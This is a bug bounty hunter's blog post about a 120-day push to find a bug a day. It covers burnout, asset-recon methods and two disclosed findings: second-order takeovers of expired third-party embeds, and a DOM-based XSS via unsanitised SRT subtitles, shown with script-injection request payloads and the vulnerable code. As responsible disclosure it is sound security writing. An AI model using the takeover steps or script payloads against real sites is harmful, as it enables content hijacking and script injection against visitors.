High frequency security bug hunting: 120 days, 120 bugs

1) Intro & Motivations
2) Findings
3) Analysis
4) Methodology
5) Advice
6) Notable bug I: Second order subdomain/page takeovers
7) Notable bug II: DOM Based XSS via subtitle tracks

1) Intro & Motivations

At the start of of this year, I set myself a personal goal of finding 365 bugs in 365 days.

This was entirely motivated by wanting to challenge myself to find more security issues as I felt I'd been slacking off.

I thought back to things I'd done in the past to motivate myself, one that stuck out to me was when I was a contractor at Atlassian, I pushed myself to find one bug a day for 30 days. It was a great success and I found a variety of interesting bugs spanning the entirety of Atlassian's external applications, afterwards I was left exhausted as it had been fairly intense. I felt a lot of pressure (from myself and the people I'd talked to about what I was trying to achieve) to succeed.

At the start of 2016 I hit the ground running and was going really well. I'd find multiple bugs a day and take regular breaks to ensure I didn't burn myself out. Unfortunately as the year kicked into full swing, finding bugs on a daily basis became too difficult to maintain without sacrificing my mental health. I found I was regularly burnt out as setting myself with such an extraordinary goal to find a bug a day ended up being far too strenuous.

I ended the mindset of finding a bug a day exactly after 120 days, however my goals and motivations remain the same:

1) Look at new and innovative ways to compromise targets.
2) To focus on bugs that are interesting to me.
3) To make new friends/peers in the bounty community so I have people to bounce ideas off.

2) Findings

Below are most of my findings, with dates that roughly account for when the bugs were found (give or take 15 days):

Note: There are some bugs found in the 120 day period that have intentionally not been included in the above table.

3) Analysis

Note: this summary table aims to simply categorize some of the bugs that were found in the 120 day period. There are miscellaneous bugs within the main table at the top of this blog post that aren't accounted for in the summary table above.

While rough calculations can be made using the above information, it is technically not complete. Due to the nature of bug bounties, a lot of the submitted issues are yet to be paid out, fixed, or are heavily redacted to not show sensitive information about the companies involved.

Sometime in the future when all these issues are fixed I plan on updating this post with more complete information.

4) Methodology

Looking at the table provided at the top of this blog post, we can see that my methodology for high-frequency bug hunting revolved around assets. Assets being defined as anything virtually owned by a company - including but not limited to every single application, directory, file, folder, executable or server that I discover. Notably, this often also included looking at SaaS/"cloud" based platforms used by companies for a variety of different services (VoIP, file sharing, web conferencing, etc).

The beauty of collecting, monitoring and keeping tabs on these assets was really appealing to me. For instance, finding development boxes owned by a company, where a developer had only put the box or application online one hour before I had found it became quite lucrative

In order to keep up with the requirement of finding a bug a day, I felt like I would need to spice things up and push the limits on what can be discovered - assets wise. I do feel that there are bug bounty programs (usually those that pay higher amounts of money) where it becomes exponentially harder to discover bugs. Such programs make participating in bug bounties a rewardable challenge.

I've discussed methodologies and toolsets used to discover assets owned by companies on the internet in some detail in my joint presentation at BSides Canberra 2016 with Nathan Wakelam. The link to this presentation can be found here.

Wanting to return something to the bug bounty community, Nathan and I authored three tools and published them on Github:

• Altdns: Generate and resolve common permutations of subdomains to discover new assets.
• Assetnote: Monitor and track passive API data feeds to discover and notify you of new subdomains.
• Bugbounty Dash: A terminal based dashboard to oversee your bug bounty efforts.

Altdns has received some great community attention with commits from @avlidienbrunn, @fransrosen and dbaxa on Github.

Another key part of my methodology involved working with other researchers/bug hunters that I trusted. Having a partner really makes a world of difference. I'm pretty stoked that I have had the chance to get aquainted and work with some amazing bug bounty hunters, including my colleagues at work, nnwakelam, Ebrietas, Mathias, Gil, Wes and more.

When I had dry periods and struggled to find bugs, one of my colleagues or friends that did bug bounties would find something spectacular in a program and would share what they had found after it had been reported/fixed. News about vulnerabilities in targets that you missed, would re-fuel you and somewhat get you motivated to find something equally as spectacular.

At all times, when someone found something in an area or program I didn't find, I took it as inspiration. Viewing colleagues and friends in bug bounties as competition is purely counter-intuitive as it doesn't really help any parties and leads to even more severe burn out.

Sometimes, you have to take your recon to boundless levels. I know a few other researchers that do this. A great example to showcase would be the efforts of @phwd, who attends Facebook's product conferences and attempts to learn about or gain access to early features of Facebook. Based on his successes within the Facebook bug bounty program, I don't doubt that he takes his recon game seriously, as I went to similar lengths for the programs I cared about.

Moving away from the technical nuances in methodology, I'd also recommend having an outlet or hobby far away from information security/bug hunting. As this was an extreme hobby of mine, I sometimes ignored the more important parts of life and realised that I was genuinely becoming unhappy - something that honestly comes back to get you in the long run. If there's something I've taken away from my experiences in hunting bugs in high frequency, it's that everything in excess is poison. Even if it's your hobby or your favourite past time.

5) Advice

I started my high frequency bug hunting program on January 1st, 2016 and around two months after abiding the one bug a day rule, I had hit my first burnout period.

My biggest mistake was not fully understanding the volatility of finding bugs. Bugs that are yet to be found are not quantifiable from a black-box perspective. I cannot confidently predict the likelihood of finding bugs based on time/effort. I can push to be the first to find new bugs, but I cannot predict them.

Over the span of 120 days, I had burnt out a total of three times. These down periods would exponentially get worse every day I couldn't find a bug to add to my list. If I didn't find a bug for 10 days, that'd mean I'd need to find 10 bugs within a day or so to catch up. This project felt exhausting as it shifted from being a side project to being hard work fueled by pressure.

If you are someone who would like to do a project like this one, I wholeheartedly encourage you. Just don't make the same mistakes I did where I made it my absolute mission and priority to find a bug a day. Take it easy and have a common goal, just don't cyclically punish or push yourself if you cant reach your goals. My closest friends told me I'd burn out, but my ignorance took the best of me when I convinced them and myself that I'd be OK with the pressure of finding a bug a day.

When you submit bugs, remember that you aren't actually entitled to anything. Unfortunately, that's how bug bounties work. It's a buyers market. If a program doesn't pay as much as you'd expect for a bug, just don't participate in that program again. What's the point of causing drama over a bug or two? Who is the magic internet man who's going to buy your exploit for $1,000,000 using magic internet money (bitcoin) that those Hacker News users keep on referencing? If anyone knows who this person is, do tell me! There's no such thing as a "union" for bug bounty hunters nor an easily accessible secondary blackmarket that pays for your bugs in a company. Bottom line, we're all just contractors getting paid based on valid work produced. Our clients can be great ... or they can be horrible to deal with, that's business and bug bounty 101.

If you get less than what you think you deserved when participating in bug bounties, have a civil discussion with the company you've reported it to. I also suggest reading Collin's excellent blog post on bug bounties to gain some perspective on the flip side of running bug bounty programs.

Find a bug bounty program that doesn't treat you like shit. Seriously. They exist. There are a few programs that spring to mind that honestly treats researchers as if they were a part of their security team. They respond quickly, they pay handsomely and there's mutual respect. For those running a program, I believe the best way to hook skilled individuals is to have inclusiveness, be fair and to be consistent.

I'm happy to have any of my advice/opinions challenged and I'd love to discuss any of the points I've listed thus far if you disagree with them.

6) Notable bug I: Second order subdomain/page takeovers

Based on discussions with a few other high earning bug bounty hunters, we found that the payout value for subdomain takeovers/hijacks varies greatly. There are programs that pay ranging from $100 to $7,500 USD. This is quite insane, I guess some companies just have largely different priorities than others.

Luckily, I've had the fortune of being able to participate in programs that greatly appreciate subdomain takeovers and pay up to 7.5k per takeover. Bug bounties get a lot more serious when this happens and researchers work very hard to squash bugs that get paid out at such incredible rates.

This private bug bounty paid a premium price for a bug class they were concerned about, they worked hard towards fixing such bugs and awarded every researcher who submitted valid subdomain takeovers with generosity. Within six months to a years time, it became incredibly difficult to find subdomain takeovers. Bug bounties work.

However, when you hit a brick wall and can't find a way to hijack subdomains as a researcher, what do you do?

That's where second order subdomain takeovers come into play. In today's world, a web application can be incredibly complex. It can be loading assets from 10+ hosts for any given page and could include active content from a wide number of sources. For example, we can have forms embedded from wufoo.com and JavaScript/assets from Amazon S3. There are many more examples of what active content can be embedded from third party sources within a page, however I've found most of my success to be with taking over wufoo forms and s3 buckets.

Just picture the possible situations that could lead to second order hijacks - let's say you work at $x company. This company has been running for over 10 years now and has an amazing bug bounty program. $x company has had many employees come and go, along with it, many pages created on their content management systems over the last 10 years. If this company has ever embedded dynamic content via third party URLs via a <script>, <iframe>, <svg> or <object> element, is that dynamic content still alive?

Here's a quick methodology:

1. Create a site-map/list of URLs that belong to your target (ensure that you have covered as much as you can, spider throughout every subdomain)
2. Request each URL and search for <script>, <iframe>, <svg>, <object>, extracting every link/hostname/URL from these elements.
3. Ensure that all links found within the above tags are still valid. If there are any invalid/expired resources that are present, register them yourself and profit.

In one case, I found a number of pages for this bug bounty program which all had iframes to <companyname>.wufoo.com/<formid>. Due to the fact that these pages were published 3-4 years ago, it seemed that the wufoo account referenced within the iframes had expired.

So, I simply went to wufoo.com signed up and claimed the subdomain on wufoo.com, giving me the ability to create a form with the same URL as what was linked in the iframe. This let me take over a small set of pages on my target's domain.

This led to quite a few good bounties and is quite simple to do.

6) Notable bug II: DOM Based XSS via subtitle tracks

For a private bug bounty program, a promotional functionality allowed users to create their own subtitles for a pre-defined video. It was located in a URL that looked similar to this: http://subdomain.privatebounty.com/en/event/community.html

When visiting the above URL, I was presented with a number of input boxes. Within these input boxes, users were expected to insert subtitles of their own for the video. Once a user entered in subtitles for the video and clicked the call to action button, the subtitles were then sent to an API located on Heroku.

The request that is made to save the user-input subtitles to the API can be seen below:

POST /api/v1/usersubs HTTP/1.1  
Host: apisubdomain.privatebounty.com  
Content-Length: 1083  
Accept: */*  
Origin: http://subdomain.privatebounty.com  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36  
Content-Type: application/json  
Connection: close

{"parody":{"title":"rickroll","author":"shubs","subtitles_text":"[[\"<script>prompt('WE\'RE NO STRANGERS TO LOVE');</script>\"],[\"<script>prompt('YOU KNOW THE RULES AND SO DO I');</script>\"],[\"<script>prompt('A FULL COMMITMENTS WHAT I\'M THINKING OF');</script>\"],[\"<script>prompt('YOU WOULDNT GET THIS FROM ANY OTHER GUY');</script>\"],[\"<script>prompt('_');</script>\"],[\"<script>prompt('I JUST WANNA TELL YOU HOW I\'M FEELING');</script>\"],[\"<script>prompt('Gonna make you understand...');</script>\"],[\"<script>prompt('Never gonna give you up');</script>\"],[\"<script>prompt('Never gonna let you down');</script>\"],[\"<script>prompt('Never gonna run around and desert you');</script>\"],[\"<script>prompt('Never gonna make you cry');</script>\"],[\"<script>prompt('Never gonna say goodbye...');</script>\"],[\"<script>prompt('Never gonna tell a lie and hurt you..');</script>\"],[\"<script>prompt('_');</script>\"],[\"<script>prompt('We\'ve known each other for so long..');</script>\"]]","video_id":5}}

The response of the above request can be seen below:

HTTP/1.1 200 OK  
Server: Cowboy  
[...omitted for brevity...]

{"video_id":5,"slug":"60d499118de429510449","author":"shubs","title":"rickroll","subtitles_text":[["\u003cscript\u003eprompt('WE'RE NO STRANGERS TO LOVE');\u003c/script\u003e"],["\u003cscript\u003eprompt('YOU KNOW THE RULES AND SO DO I');\u003c/script\u003e"],["\u003cscript\u003eprompt('A FULL COMMITMENTS WHAT I'M THINKING OF');\u003c/script\u003e"],["\u003cscript\u003eprompt('YOU WOULDNT GET THIS FROM ANY OTHER GUY');\u003c/script\u003e"],["\u003cscript\u003eprompt('_');\u003c/script\u003e"],["\u003cscript\u003eprompt('I JUST WANNA TELL YOU HOW I'M FEELING');\u003c/script\u003e"],["\u003cscript\u003eprompt('Gonna make you understand...');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna give you up');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna let you down');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna run around and desert you');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna make you cry');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna say goodbye...');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna tell a lie and hurt you..');\u003c/script\u003e"],["\u003cscript\u003eprompt('_');\u003c/script\u003e"],["\u003cscript\u003eprompt('We've known each other for so long..');\u003c/script\u003e"],[""]]}

Continuing with the normal application flow, once I attempted to watch the "user-generated" video, the following request was made:

GET /api/v1/usersubs/60d499118de429510449.srt HTTP/1.1  
Host: apisubdomain.privatebounty.com  
[...omitted for brevity...]

The response of this subtitle file (.srt) was rendered as plain text. While I wasnt able to obtain persistent XSS directly via this endpoint, I observed that the response contained the subtitles entered originally by the user without ANY sanitization, unlike the API response. For example, requesting the following URL would return subtitles that contain my Rick Roll arbitrary JavaScript:

http://apisubdomain.privatebounty.com/api/v1/usersubs/60d499118de429510449.srt

Once this SRT subtitle file had been generated by the API, we could watch a video with the user defined subtitles by visiting a URL like the one below:

http://subdomain.privatebounty.com/event/community.html?slug=60d499118de429510449

When the above link was visited, the JavaScript found at http://subdomain.privatebounty.com/events/scripts/shared-app.js would execute and would use the slug ID in the URL to obtain and set the subtitles for the media player element on the page. The code block responsible for setting the subtitles can be found below:

 SharedApp.prototype.setPlayer = function() {
    var sourceUrl = this.video.source_url;
    var subtitle = this.apiUrl + '/usersubs/' + this.slug + '.srt';

    var videoTag = "<video width='699' height='400' id='video-result' preload='none' poster='images/video_poster.png'>" + "<source type='video/youtube' src='" + sourceUrl + "' />" + "<track kind='subtitles' src='" + subtitle + "' srclang='en' default>" + "</video>";

    this.$element.find('[data-shared-app-container]').html(videoTag);

    $('#video-result').mediaelementplayer({
      startLanguage: 'en',
    });
  };

Once the above code had been executed, the malicious subtitle files are loaded from http://apisubdomain.privatebounty.com/api/v1/usersubs/60d499118de429510449.srt and are ready to be injected into the victims DOM.

Due to the way that subtitles work through SRT files (styling and so forth) and as referenced in the <track> tag RFC [1], the mediaplayerelement, by default, would NOT sanitize the subtitles before adding them to the DOM. This means that each line of the subtitles file will be added to the DOM (including the attackers scripts).

HTML is allowed to be in SRT files as per the spec, as it serves the purpose of styling. While it serves a somewhat important usability need, it also poses a security implication if users can set their own subtitles.

The JavaScript inserted through the SRT creation API was executed as soon as the video started playing:

There were two potential remediation options that I thought of that could remediate this issue:
1. Sanitize all user input that is placed into the SRT file - not just the data reflected from the API responses but also the SRT file!
2. Ensure that the mediaplayerelement does NOT insert the subtitles as HTML directly to the DOM but rather as text. See this.

This exploit worked on every browser that supported HTML5 track tags (almost every browser in the last 2-3 yrs).

So was this project a success? Kind of. I made bank, had fun, developed up my own set of universal recon skills and got to work with some pretty great people. Mental heath issues got the better of me towards the end, however, I know my limits now.

That's all for now folk! Give bug bounties a go: Bugcrowd and HackerOne are great platforms to start on.

At the time of this publication, Hack The World 2016 is currently ongoing. Get on it!

Thanks for reading this far. If there's anything you'd like to discuss from this blog post, feel free to DM me @infosec_au or message me on Freenode/Bugcrowd/Hackerone's IRC (handle: shubs). You can track future bug bounty progress of mine through my Hackerone account (notnaffy).

I performed this side project/experiment while working full time. Work would usually take up at least 40 hrs a week, bug bounty hunting was prioritised after any pending work items were completed. Calculating all of the payouts within the 120 day period, I found that bug bounties accounted for $80,000 in 120 days.